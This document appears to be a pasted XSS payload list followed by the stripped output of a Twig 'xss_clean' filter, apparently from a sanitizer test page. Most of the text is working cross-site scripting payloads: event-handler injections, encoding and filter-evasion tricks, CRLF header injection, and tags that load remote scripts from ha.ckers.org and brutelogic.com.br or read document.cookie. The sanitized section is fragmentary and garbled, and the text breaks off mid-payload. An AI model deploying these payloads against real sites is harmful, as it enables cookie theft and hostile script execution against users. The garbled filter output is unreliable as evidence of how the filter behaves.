onload=\\\"frames[0].postMessage(\\\'INJECTION\\\',\\\'*\\\')\\\">\\r\\n<x:script xmlns:x=\\\"http://www.w3.org/1999/xhtml\\\">alert(1)</x:script>\\r\\n<x:script xmlns:x=\\\"http://www.w3.org/1999/xhtml\\\" src=\\\"//brutelogic.com.br/1.js\\\"/>\\r\\n%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0A%0D%0A%3Cscript\\r\\n%3Ealert(1)%3C/script%3E\\r\\n%0D%0ALocation:%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D\\r\\n%0A%0D%0A%3Cscript%3Ealert(1)%3C/script%3E\\r\\n<p style=overflow:auto;font-size:999px onscroll=alert(1)>AAA<x/id=y></p>#y\\r\\n<<!--%23set var=\\\"x\\\" value=\\\"svg onload=alert(1)\\\"--><!--%23echo var=\\\"x\\\"-->>\\r\\n1<svg onload=alert(1)>\\r\\n1\\\"><svg onload=alert(1)>\\r\\n\\\'1<svg onload=alert(1)>\\r\\n<svg onload=alert(1)>\\\\\\r\\n<Svg OnLoad=alert(1)>\\r\\n<Script>alert(1)</Script>\\r\\n<svg onload=alert(1)//\\r\\n<svg onload=\\\"alert(1)\\\"\\r\\n<SVG ONLOAD=alert(1)>\\r\\n<SCRIPT SRC=//BRUTELOGIC.COM.BR/1></SCRIPT>\\r\\n<script/x>alert(1)</script>\\r\\n%253Csvg%2520o%256Eload%253Dalert%25281%2529%253E\\r\\n%2522%253E%253Csvg%2520o%256Eload%253Dalert%25281%2529%253E\\r\\nalert`1`\\r\\nsetTimeout`alert\\\\x28document.domain\\\\x29`\\r\\nsetInterval`alert\\\\x28document.domain\\\\x29`\\r\\n<svg onload=alert(1)>\\r\\n<svg onload=alert(1)>\\r\\n[][\\\'\\\\146\\\\151\\\\154\\\\164\\\\145\\\\162\\\'][\\\'\\\\143\\\\157\\\\156\\\\163\\\\164\\\\162\\\\165\\\\143\\\\164\\\\157\\\\162\\\'](\\\'\\\\141\\\\154\\\\145\\\\162\\\\164\\\\50\\\\61\\\\51\\\')()\\r\\n(alert)(1)\\r\\na=alert,a(1)\\r\\n[1].find(alert)\\r\\ntop[\\\"al\\\"+\\\"ert\\\"](1)\\r\\ntop[/al/.source+/ert/.source](1)\\r\\nal\\\\u0065rt(1)\\r\\ntop[\\\'al\\\\145rt\\\'](1)\\r\\ntop[8680439..toString(30)](1)\\r\\ntop.open`javas\\\\cript:al\\\\ert(1)`\\r\\n\\\"o<x>nmouseover=alert<x>(1)//\\r\\n\\\"autof<x>ocus o<x>nfocus=alert<x>(1)//\\r\\n<script src=https://www.google.com/complete/search?client=chrome%26jsonp=alert(1);></script>\\r\\n<script>alert(1)</script>\\r\\n<script src=data:,alert(1)>\\r\\n<iframe src=javascript:alert(1)>\\r\\n<embed src=javascript:alert(1)>\\r\\n<a href=javascript:alert(1)>click\\r\\n<math><brute href=javascript:alert(1)>click\\r\\n<form action=javascript:alert(1)><input type=submit>\\r\\n<isindex action=javascript:alert(1) type=submit value=click>\\r\\n<form><button formaction=javascript:alert(1)>click\\r\\n<form><input formaction=javascript:alert(1) type=submit value=click>\\r\\n<form><input formaction=javascript:alert(1) type=image value=click>\\r\\n<form><input formaction=javascript:alert(1) type=image src=SOURCE>\\r\\n<isindex formaction=javascript:alert(1) type=submit value=click>\\r\\n<object data=javascript:alert(1)>\\r\\n<iframe srcdoc=<svg/onload=alert(1)>>\\r\\n<svg><script xlink:href=data:,alert(1) />\\r\\n<math><brute xlink:href=javascript:alert(1)>click\\r\\n<x contenteditable onblur=alert(1)>lose focus!\\r\\n<x onclick=alert(1)>click this!\\r\\n<x oncopy=alert(1)>copy this!\\r\\n<x oncontextmenu=alert(1)>right click this!\\r\\n<x onauxclick=alert(1)>right click this!\\r\\n<x oncut=alert(1)>copy this!\\r\\n<x ondblclick=alert(1)>double click this!\\r\\n<x ondrag=alert(1)>drag this!\\r\\n<x contenteditable onfocus=alert(1)>focus this!\\r\\n<x contenteditable oninput=alert(1)>input here!\\r\\n<x contenteditable onkeydown=alert(1)>press any key!\\r\\n<x contenteditable onkeypress=alert(1)>press any key!\\r\\n<x contenteditable onkeyup=alert(1)>press any key!\\r\\n<x onmousedown=alert(1)>click this!\\r\\n<x onmousemove=alert(1)>hover this!\\r\\n<x onmouseout=alert(1)>hover this!\\r\\n<x onmouseover=alert(1)>hover this!\\r\\n<x onmouseup=alert(1)>click this!\\r\\n<x contenteditable onpaste=alert(1)>paste here!\\r\\n\\\'-alert(1)-\\\'<svg>\\r\\n\\\\\\\'-alert(1)//<svg>\\r\\n<svg/on<script><script>load=alert(1)//</script>\\r\\n<SCRİPT>alert(1)</SCRİPT>\\r\\n<SCRİPT/SRC=data:,alert(1)>\\r\\n%CA%BA>%EF%BC%9Csvg/onload%EF%BC%9Dalert%EF%BC%881)>\\r\\n<svg><set onbegin=alert(1)>\\r\\n<svg><set end=1 onend=alert(1)>\\r\\n%u003Csvg onload=alert(1)>\\r\\n%u3008svg onload=alert(2)>\\r\\n%uFF1Csvg onload=alert(3)>\\r\\n\\\"><svg/onload=alert(1)>\\\"@x.y\\r\\n\\\\74svg o\\\\156load\\\\75alert\\\\501\\\\51\\\\76\\r\\n</script><svg><script>alert(1)//\\r\\n</script><script>\\\'%0B\\\'-alert(1)//\\r\\n\\\"`-alert(1)</script><script>`\\r\\n?p[<script>`]=`/alert(1)</script>\\r\\n\\\';onerror=alert;throw 1//\\r\\n\\\"\\\'>confirm(1)</Script><Svg><Script/1=\\\'\\r\\n%01Jav%09asc%09ript:https://DOMAIN/%250Acon%09firm%25%281%25%29\\r\\n<x onmouseenter=alert(1)>\\r\\n<x onafterscriptexecute=alert(1)>\\r\\n<x onbeforescriptexecute=alert(1)>\\r\\n<x onanimationend=alert(1)><style>x{animation:s}@keyframes s{}\\r\\n<x onwebkitanimationend=alert(1)><style>x{animation:s}@keyframes s{}\\r\\n<svg><use xlink:href=data:image/svg%2Bxml;base64,PHN2ZyBpZD0ieCIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxuczp4bGluaz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94bGluayI%2BPGVtYmVkIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIiBzcmM9ImphdmFzY3JpcHQ6YWxlcnQoMSkiLz48L3N2Zz4=%23x>\\r\\n</Script/\\\"\\\'--><Body /Autofocus /OnFocus = confirm`1` <!-->\\r\\nPC9TY3JpcHQvIictLT48Qm9keSAvQXV0b2ZvY3VzIC9PbkZvY3VzID0gY29uZmlybWAxYCA8IS0tPg==\\r\\n<html ontouchstart=alert(1)>\\r\\n<html ontouchend=alert(1)>\\r\\n<html ontouchmove=alert(1)>\\r\\n<body onorientationchange=alert(1)>\\r\\n<body onload=alert(1)>\\r\\n<body onpageshow=alert(1)>\\r\\n<body onfocus=alert(1)>\\r\\n<body onhashchange=alert(1)><a href=%23x>click this!#x\\r\\n<body style=overflow:auto;height:1000px onscroll=alert(1) id=x>#x\\r\\n<body onscroll=alert(1)><br><br><br><br><br><br><br><br><br><br><br><br>\\r\\n<br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>\\r\\n<br><x id=x>#x\\r\\n<body onresize=alert(1)>press F12!\\r\\n<body onhelp=alert(1)>press F1!\\r\\n<marquee onstart=alert(1)>\\r\\n<marquee loop=1 width=0 onfinish=alert(1)>\\r\\n<audio src onloadstart=alert(1)>\\r\\n<video onloadstart=alert(1)><source>\\r\\n<input autofocus onblur=alert(1)>\\r\\n<keygen autofocus onfocus=alert(1)>\\r\\n<form onsubmit=alert(1)><input type=submit>\\r\\n<select onchange=alert(1)><option>1<option>2\\r\\n<menu id=x contextmenu=x onshow=alert(1)>right click me!\\r\\n<object onerror=alert(1)>\\r\\nz\\\" onmouseover=\\\"alert(\\\'Hackerone\\\')\\\" style=\\\"position:fixed;left:0;top:0;width:9999px;height:9999px;\\\">\\r\\n%3Csvg%2Fx%3D%22%3E%22%2F%3Cscript%3Ealert(%22xss%22)%3C%2Fscript%3E()%2F%2F\\r\\n%3Csvg/x=%22%3E%22/%3Cscript%3Ealert(document.cookie)%3C/script%3E()//\\r\\n\\\';alert(String.fromCharCode(88,83,83))//\\\';alert(String.fromCharCode(88,83,83))//\\\";alert(String.fromCharCode(88,83,83))//\\\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>\\\">\\\'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>\\r\\n\\\'-confirm`1`-\\\'\\r\\n\\\'-document.write`<h1>juniorEXPLOIT</h1>`-\\\'\\r\\n%22><svg%20onload=confirm(1);>\\r\\n\\\'<\\\'/\\\'><\\\'s\\\'t\\\'y\\\'l\\\'e\\\'/\\\'o\\\'n\\\'l\\\'o\\\'a\\\'d\\\'=\\\'a\\\'l\\\'e\\\'r\\\'t(\\\'1\\\')\\\'>\\r\\n<script\\\\x20type=\\\"text/javascript\\\">javascript:alert(1);</script>\\r\\n<script\\\\x3Etype=\\\"text/javascript\\\">javascript:alert(1);</script>\\r\\n<script\\\\x0Dtype=\\\"text/javascript\\\">javascript:alert(1);</script>\\r\\n<script\\\\x09type=\\\"text/javascript\\\">javascript:alert(1);</script>\\r\\n<script\\\\x0Ctype=\\\"text/javascript\\\">javascript:alert(1);</script>\\r\\n<script\\\\x2Ftype=\\\"text/javascript\\\">javascript:alert(1);</script>\\r\\n<script\\\\x0Atype=\\\"text/javascript\\\">javascript:alert(1);</script>\\r\\n\\\'`\\\"><\\\\x3Cscript>javascript:alert(1)</script> \\r\\n\\\'`\\\"><\\\\x00script>javascript:alert(1)</script>\\r\\n<img src=1 href=1 onerror=\\\"javascript:alert(1)\\\"></img>\\r\\n<audio src=1 href=1 onerror=\\\"javascript:alert(1)\\\"></audio>\\r\\n<video src=1 href=1 onerror=\\\"javascript:alert(1)\\\"></video>\\r\\n<body src=1 href=1 onerror=\\\"javascript:alert(1)\\\"></body>\\r\\n<image src=1 href=1 onerror=\\\"javascript:alert(1)\\\"></image>\\r\\n<object src=1 href=1 onerror=\\\"javascript:alert(1)\\\"></object>\\r\\n<script src=1 href=1 onerror=\\\"javascript:alert(1)\\\"></script>\\r\\n<svg onResize svg onResize=\\\"javascript:javascript:alert(1)\\\"></svg onResize>\\r\\n<title onPropertyChange title onPropertyChange=\\\"javascript:javascript:alert(1)\\\"></title onPropertyChange>\\r\\n<iframe onLoad iframe onLoad=\\\"javascript:javascript:alert(1)\\\"></iframe onLoad>\\r\\n<body onMouseEnter body onMouseEnter=\\\"javascript:javascript:alert(1)\\\"></body onMouseEnter>\\r\\n<body onFocus body onFocus=\\\"javascript:javascript:alert(1)\\\"></body onFocus>\\r\\n<frameset onScroll frameset onScroll=\\\"javascript:javascript:alert(1)\\\"></frameset onScroll>\\r\\n<script onReadyStateChange script onReadyStateChange=\\\"javascript:javascript:alert(1)\\\"></script onReadyStateChange>\\r\\n<html onMouseUp html onMouseUp=\\\"javascript:javascript:alert(1)\\\"></html onMouseUp>\\r\\n<body onPropertyChange body onPropertyChange=\\\"javascript:javascript:alert(1)\\\"></body onPropertyChange>\\r\\n<svg onLoad svg onLoad=\\\"javascript:javascript:alert(1)\\\"></svg onLoad>\\r\\n<body onPageHide body onPageHide=\\\"javascript:javascript:alert(1)\\\"></body onPageHide>\\r\\n<body onMouseOver body onMouseOver=\\\"javascript:javascript:alert(1)\\\"></body onMouseOver>\\r\\n<body onUnload body onUnload=\\\"javascript:javascript:alert(1)\\\"></body onUnload>\\r\\n<body onLoad body onLoad=\\\"javascript:javascript:alert(1)\\\"></body onLoad>\\r\\n<bgsound onPropertyChange bgsound onPropertyChange=\\\"javascript:javascript:alert(1)\\\"></bgsound onPropertyChange>\\r\\n<html onMouseLeave html onMouseLeave=\\\"javascript:javascript:alert(1)\\\"></html onMouseLeave>\\r\\n<html onMouseWheel html onMouseWheel=\\\"javascript:javascript:alert(1)\\\"></html onMouseWheel>\\r\\n<style onLoad style onLoad=\\\"javascript:javascript:alert(1)\\\"></style onLoad>\\r\\n<iframe onReadyStateChange iframe onReadyStateChange=\\\"javascript:javascript:alert(1)\\\"></iframe onReadyStateChange>\\r\\n<body onPageShow body onPageShow=\\\"javascript:javascript:alert(1)\\\"></body onPageShow>\\r\\n<style onReadyStateChange style onReadyStateChange=\\\"javascript:javascript:alert(1)\\\"></style onReadyStateChange>\\r\\n<frameset onFocus frameset onFocus=\\\"javascript:javascript:alert(1)\\\"></frameset onFocus>\\r\\n<applet onError applet onError=\\\"javascript:javascript:alert(1)\\\"></applet onError>\\r\\n<marquee onStart marquee onStart=\\\"javascript:javascript:alert(1)\\\"></marquee onStart>\\r\\n<script onLoad script onLoad=\\\"javascript:javascript:alert(1)\\\"></script onLoad>\\r\\n<html onMouseOver html onMouseOver=\\\"javascript:javascript:alert(1)\\\"></html onMouseOver>\\r\\n<html onMouseEnter html onMouseEnter=\\\"javascript:parent.javascript:alert(1)\\\"></html onMouseEnter>\\r\\n<body onBeforeUnload body onBeforeUnload=\\\"javascript:javascript:alert(1)\\\"></body onBeforeUnload>\\r\\n<html onMouseDown html onMouseDown=\\\"javascript:javascript:alert(1)\\\"></html onMouseDown>\\r\\n<marquee onScroll marquee onScroll=\\\"javascript:javascript:alert(1)\\\"></marquee onScroll>\\r\\n<xml onPropertyChange xml onPropertyChange=\\\"javascript:javascript:alert(1)\\\"></xml onPropertyChange>\\r\\n<frameset onBlur frameset onBlur=\\\"javascript:javascript:alert(1)\\\"></frameset onBlur>\\r\\n<applet onReadyStateChange applet onReadyStateChange=\\\"javascript:javascript:alert(1)\\\"></applet onReadyStateChange>\\r\\n<svg onUnload svg onUnload=\\\"javascript:javascript:alert(1)\\\"></svg onUnload>\\r\\n<html onMouseOut html onMouseOut=\\\"javascript:javascript:alert(1)\\\"></html onMouseOut>\\r\\n<body onMouseMove body onMouseMove=\\\"javascript:javascript:alert(1)\\\"></body onMouseMove>\\r\\n<body onResize body onResize=\\\"javascript:javascript:alert(1)\\\"></body onResize>\\r\\n<object onError object onError=\\\"javascript:javascript:alert(1)\\\"></object onError>\\r\\n<body onPopState body onPopState=\\\"javascript:javascript:alert(1)\\\"></body onPopState>\\r\\n<html onMouseMove html onMouseMove=\\\"javascript:javascript:alert(1)\\\"></html onMouseMove>\\r\\n<applet onreadystatechange applet onreadystatechange=\\\"javascript:javascript:alert(1)\\\"></applet onreadystatechange>\\r\\n<body onpagehide body onpagehide=\\\"javascript:javascript:alert(1)\\\"></body onpagehide>\\r\\n<svg onunload svg onunload=\\\"javascript:javascript:alert(1)\\\"></svg onunload>\\r\\n<applet onerror applet onerror=\\\"javascript:javascript:alert(1)\\\"></applet onerror>\\r\\n<body onkeyup body onkeyup=\\\"javascript:javascript:alert(1)\\\"></body onkeyup>\\r\\n<body onunload body onunload=\\\"javascript:javascript:alert(1)\\\"></body onunload>\\r\\n<iframe onload iframe onload=\\\"javascript:javascript:alert(1)\\\"></iframe onload>\\r\\n<body onload body onload=\\\"javascript:javascript:alert(1)\\\"></body onload>\\r\\n<html onmouseover html onmouseover=\\\"javascript:javascript:alert(1)\\\"></html onmouseover>\\r\\n<object onbeforeload object onbeforeload=\\\"javascript:javascript:alert(1)\\\"></object onbeforeload>\\r\\n<body onbeforeunload body onbeforeunload=\\\"javascript:javascript:alert(1)\\\"></body onbeforeunload>\\r\\n<body onfocus body onfocus=\\\"javascript:javascript:alert(1)\\\"></body onfocus>\\r\\n<body onkeydown body onkeydown=\\\"javascript:javascript:alert(1)\\\"></body onkeydown>\\r\\n<iframe onbeforeload iframe onbeforeload=\\\"javascript:javascript:alert(1)\\\"></iframe onbeforeload>\\r\\n<iframe src iframe src=\\\"javascript:javascript:alert(1)\\\"></iframe src>\\r\\n<svg onload svg onload=\\\"javascript:javascript:alert(1)\\\"></svg onload>\\r\\n<html onmousemove html onmousemove=\\\"javascript:javascript:alert(1)\\\"></html onmousemove>\\r\\n<body onblur body onblur=\\\"javascript:javascript:alert(1)\\\"></body onblur>\\r\\n\\\\x3Cscript>javascript:alert(1)</script>\\r\\n\\\'\\\"`><script>/* *\\\\x2Fjavascript:alert(1)// */</script>\\r\\n<script>javascript:alert(1)</script\\\\x0D\\r\\n<script>javascript:alert(1)</script\\\\x0A\\r\\n<script>javascript:alert(1)</script\\\\x0B\\r\\n<script charset=\\\"\\\\x22>javascript:alert(1)</script>\\r\\n<!--\\\\x3E<img src=xxx:x onerror=javascript:alert(1)> -->\\r\\n--><!-- ---> <img src=xxx:x onerror=javascript:alert(1)> -->\\r\\n--><!-- --\\\\x00> <img src=xxx:x onerror=javascript:alert(1)> -->\\r\\n--><!-- --\\\\x21> <img src=xxx:x onerror=javascript:alert(1)> -->\\r\\n--><!-- --\\\\x3E> <img src=xxx:x onerror=javascript:alert(1)> -->\\r\\n`\\\"\\\'><img src=\\\'#\\\\x27 onerror=javascript:alert(1)>\\r\\n<a href=\\\"javascript\\\\x3Ajavascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n\\\"\\\'`><p><svg><script>a=\\\'hello\\\\x27;javascript:alert(1)//\\\';</script></p>\\r\\n<a href=\\\"javas\\\\x00cript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"javas\\\\x07cript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"javas\\\\x0Dcript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"javas\\\\x0Acript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"javas\\\\x08cript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"javas\\\\x02cript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"javas\\\\x03cript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"javas\\\\x04cript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"javas\\\\x01cript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"javas\\\\x05cript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"javas\\\\x0Bcript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"javas\\\\x09cript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"javas\\\\x06cript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<a href=\\\"javas\\\\x0Ccript:javascript:alert(1)\\\" id=\\\"fuzzelement1\\\">test</a>\\r\\n<script>/* *\\\\x2A/javascript:alert(1)// */</script>\\r\\n<script>/* *\\\\x00/javascript:alert(1)// */</script>\\r\\n<details open ontoggle=window[490837..toString(1<<5)](atob(\\\'YWxlcnQoMSk=\\\'))>\\r\\n<svg onload=window[490837..toString(1<<5)](atob(\\\'YWxlcnQoMSk=\\\'));>\\r\\n<marquee/onstart=window[490837..toString(1<<5)](atob(\\\'YWxlcnQoMSk=\\\'))>\\r\\n<svg onpointerenter=z=alert,z(document.domain)>\\r\\n<object data=javascript:window[490837..toString(1<<5)](atob(\\\'YWxlcnQoMSk=\\\'))>\\r\\n</TITLE><object/data=https://finickycold.htmlpasta.com>\\r\\n\\\"><h1><IFRAME SRC=# onmouseover=\\\"alert(document.cookie)\\\"></IFRAME>123</h1>\\\"\\r\\n<svg onload=alert(1)>\\r\\n<input type=text autofocus onfocus=window[490837..toString(1<<5)](atob(\\\'YWxlcnQoMSk=\\\'))//\\r\\n\\\"><svg onload=alert(1)>\\r\\n</tag><svg onload=alert(1)>\\r\\n<script qwerty>window[490837..toString(1<<5)](atob(\\\'YWxlcnQoMSk=\\\'))</script qwerty>\\r\\n<image src\\\\r\\\\n=valid.jpg onloadend=\\\'new class extends (co\\\\u006efir\\\\u006d)/**/`` {}\\\'>
keyword(s): b
description: : \\\\\\\');confirm(1);//\\r\\n\\r\\n<svg \\\\r\\\\n=$.globalEval(\\\"al\\\"+\\\"ert()\\\");>\\r\\n?\\\"><base c==href=https:\\\\mysite>\\r\\n\\r\\n\\r\\n![]()
\\x=">"
by a | at 2021-08-19 09:41:50
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
\\r\\n\\r\\n\\r\\n\\r\\n \\r\\n\\r\\n\\r\\n>\\r\\n\\r\\n\\r\\n\\r\\n; alert(1);\\r\\n)alert(1);//\\r\\n\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\>\\r\\n\\r\\n<svg><style>{font-family:\\\'<iframe/>\\\'\\r\\n\\r\\n<input/><isindex >\\>\\>\\\">\\/>\\r\\n\\r\\n<svg>\r\\n\\r\\n<svg>\\r\\n<iframe src=)>\\r\\n\\r\\n<form>X\\r\\n\\r\\n![]()
\\r\\n![]()
\\r\\n<form><iframe
src=\\\"(1)\\\"
;>\\r\\n\\r\\nXXYZalert(String.fromCharCode(49))^__^\\r\\n\\r\\n</style ><input type=\\\"date\\\" >\\r\\n\\r\\n<form><textarea
>\\r\\n\\r\\n\\r\\n\\r\\nX\\r\\n\\r\\n\\r\\n\\r\\n<style/ >
alert
(1)>\\r\\n\\r\\n<///style///>SPAN\\r\\n\\r\\n![]()
<svg><style>{-o-link-source:\\\'<body/>\\\'\\r\\n\\r\\n
<blink/
> {Firefox & Opera}\\r\\n\\r\\n {IE7}\\r\\n\\r\\n<iframe// src=(1)\\r\\n\\r\\n//<form/action=()><input/type=\\\'submit\\\'>//\\r\\n\\r\\n/*iframe/src*/<iframe/src=\\\"<iframe/src=@\\\"/ /*iframe/src*/>\\r\\n\\r\\n//|\\\\\\\\ //|\\\\\\\\ //|\\\\\\\\\\r\\n\\r\\n/<svg><style>{src:\\\'<style/>\\\'/</style>\\r\\n\\r\\n<input type=\\\"X\\\">\\r\\n\\r\\n</plaintext\\\\></|\\\\><plaintext/>\\\'\\\'<svg>alert(1) {Opera}\\r\\n\\r\\n<a ><button>\\r\\n\\r\\n<div >DIV</div>\\r\\n\\r\\n<iframe >\\r\\n\\r\\n<a >X</a>\\r\\n\\r\\n<embed src=\\\"http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf\\\">\\r\\n\\r\\n<object data=\\\"http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf\\\">\\r\\n\\r\\n<var >On Mouse Over</var>\\r\\n\\r\\n<a >Click Here</a>\\r\\n\\r\\n<img >\\r\\n\\r\\n<%<!--\\\'%>\\r\\n\\r\\n\\r\\n<iframe/src \\\\/\\\\/ value=<><iframe/src=(1)\\r\\n\\r\\n<input type=\\\"text\\\" value=`` <div/>X</div>\\r\\n\\r\\nhttp://www.</iframe>\\r\\n\\r\\n<svg></iframe>\\r\\n\\r\\n<img >\\/>\\r\\n<math><a >click\\r\\n\\r\\n<embed code=\\\"http://businessinfo.co.uk/labs/xss/xss.swf\\\" allowscriptaccess=always>\\r\\n<svg contentScriptType=text/vbs>\\\">X</a\\r\\n\\r\\n<iframe/ worksinIE>\\r\\n\\r\\na=\\\a & /=/\\r\\n\r\\n\\r\\n<object data=\\\alert(1)>\\r\\n\\r\\n\\r\\n\\r\\n<body/
alert(1)>\\r\\n\\r\\n/*\\r\\n<svg> alert(1)\\r\\n\\r\\n<a >ClickMe\\r\\n\\r\\n alert(1) 1=2\\r\\n\\r\\n<div/> style=\\\"x:\\\">\\r\\n\\r\\n<--`<img/> --!>\\>x</button>\\r\\n\\r\\n\\\"><img >\\r\\n\\r\\n<form><button >CLICKME\\r\\n\\r\\n<math><a >click\\r\\n\\r\\n<object data=PHN2Zy9vbmxvYWQ9YWxlcnQoMik+></object>\\r\\n\\r\\n<iframe src=\\\PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\\\">\\r\\n<IFRAME SRC=\\\"(\\\'XSS\\\');\\\"></IFRAME>\\r\\n<EMBED SRC=\\\PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==\\\" type=\\\"image/svg+xml\\\" AllowScriptAccess=\\\"always\\\"></EMBED>\\r\\n\\\" SRC=\\\"http://ha.ckers.org/xss.js\\\">\\r\\n\\\" \\\'\\\' SRC=\\\"http://ha.ckers.org/xss.js\\\">\\r\\n\\\'\\\" SRC=\\\"http://ha.ckers.org/xss.js\\\">\\r\\n\\\'>\\\" SRC=\\\"http://ha.ckers.org/xss.js\\\">\\r\\nPT SRC=\\\"http://ha.ckers.org/xss.js\\\">\\r\\n<\\r\\n<\\\"\\\';alert(String.fromCharCode(88,83,83))//\\\\\\\';alert(String.fromCharCode(88,83,83))//\\\";alert(String.fromCharCode(88,83,83))//\\\\\\\";alert(String.fromCharCode(88,83,83))//-->\\\">\\\'>\\r\\n\\\';alert(String.fromCharCode(88,83,83))//\\\\\\\';alert(String.fromCharCode(88,83,83))//\\\";alert(String.fromCharCode(88,83,83))//\\\\\\\";alert(String.fromCharCode(88,83,83))//-->\\\">\\\'>&submit.x=27&submit.y=9&cmd=search\\r\\n&safe=high&cx=006665157904466893121:su_tzknyxug&cof=FORID:9#510\\r\\n&search=1\\r\\n0&q=\\\';alert(String.fromCharCode(88,83,83))//\\\\\\\';alert%2?8String.fromCharCode(88,83,83))//\\\";alert(String.fromCharCode?(88,83,83))//\\\\\\\";alert(String.fromCharCode(88,83,83)%?29//-->\\\">\\\'>&submit-frmGoogleWeb=Web+Search\\r\\n<h1><font color=blue>hellox worldss</h1>\\r\\n<BODY worldss\\\')>\\r\\n<input autofocus>\\r\\n<input autofocus><input autofocus>\\r\\n<body ><br><br><br><br><br><br>...<br><br><br><br><input autofocus>\\r\\n<form><button >lol\\r\\n<!--<img ><img >\\r\\n<![><img ><img >\\r\\n<style><img ><img >\\r\\n<? foo=\\\">\\\">\\r\\n<! foo=\\\">\\\">\\r\\n</ foo=\\\">\\\">\\r\\n<? foo=\\\"><x foo=\\\'?>\\\'>\\\">\\r\\n<! foo=\\\"[[[Inception]]\\\"><x foo=\\\"]foo>\\\">\\r\\n<% foo><x foo=\\\"%>\\\">\\r\\n<div
;color:red;\\\';\\\">LOL\\r\\nLOL<style>*{/*all*/color/*all*/:/*all*/red/*all*/;/[0]*IE,Safari*[0]/color:green;color:bl/*IE*/ue;}</style>\\r\\n\\r\\n<svg xmlns=\\\"http://www.w3.org/2000/svg\\\">LOL</svg>\\r\\nalert(/XSS/.source)\\r\\n\\\\\\\\\\\";alert(\\\'XSS\\\');//\\r\\n</TITLE>alert(\\\\\\\"XSS\\\\\\\");\\r\\n<INPUT TYPE=\\\\\\\"IMAGE\\\\\\\" SRC=\\\\\\\"(\\\'XSS\\\');\\\\\\\">\\r\\n<BODY BACKGROUND=\\\\\\\"(\\\'XSS\\\')\\\\\\\">\\r\\n<BODY =alert(\\\'XSS\\\')>\\r\\n<IMG DYNSRC=\\\\\\\"(\\\'XSS\\\')\\\\\\\">\\r\\n<IMG LOWSRC=\\\\\\\"(\\\'XSS\\\')\\\\\\\">\\r\\n<BGSOUND SRC=\\\\\\\"(\\\'XSS\\\');\\\\\\\">\\r\\n<BR SIZE=\\\\\\\"&{alert(\\\'XSS\\\')}\\\\\\\">\\r\\n<LAYER SRC=\\\\\\\"http://ha.ckers.org/scriptlet.html\\\\\\\"></LAYER>\\r\\n<LINK REL=\\\\\\\"stylesheet\\\\\\\" HREF=\\\\\\\"(\\\'XSS\\\');\\\\\\\">\\r\\n<LINK REL=\\\\\\\"stylesheet\\\\\\\" HREF=\\\\\\\"http://ha.ckers.org/xss.css\\\\\\\">\\r\\n<STYLE>@import\\\'http://ha.ckers.org/xss.css\\\';</STYLE>\\r\\n<META HTTP-EQUIV=\\\\\\\"Link\\\\\\\" Content=\\\\\\\"<http://ha.ckers.org/xss.css>; REL=stylesheet\\\\\\\">\\r\\n<STYLE>BODY{:url(\\\\\\\"http://ha.ckers.org/xssmoz.xml#xss\\\\\\\")}</STYLE>\\r\\n<XSS STYLE=\\\\\\\"(xss.htc);\\\\\\\">\\r\\n<STYLE>li {list-style-image: url(\\\\\\\"(\\\'XSS\\\')\\\\\\\");}</STYLE><UL><LI>XSS\\r\\n<IMG SRC=\\\'(\\\\\\\"XSS\\\\\\\")\\\'>\\r\\n<IMG SRC=\\\\\\\"\\\\\\\">\\r\\n<IMG SRC=\\\\\\\"\\\\\\\">\\r\\nscriptualert(EXSSE)/scriptu\\r\\n<META HTTP-EQUIV=\\\\\\\"refresh\\\\\\\" CONTENT=\\\\\\\"0;url=(\\\'XSS\\\');\\\\\\\">\\r\\n<META HTTP-EQUIV=\\\\\\\"refresh\\\\\\\" CONTENT=\\\\\\\"0;url=PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\\\\\\\">\\r\\n<META HTTP-EQUIV=\\\\\\\"refresh\\\\\\\" CONTENT=\\\\\\\"0; 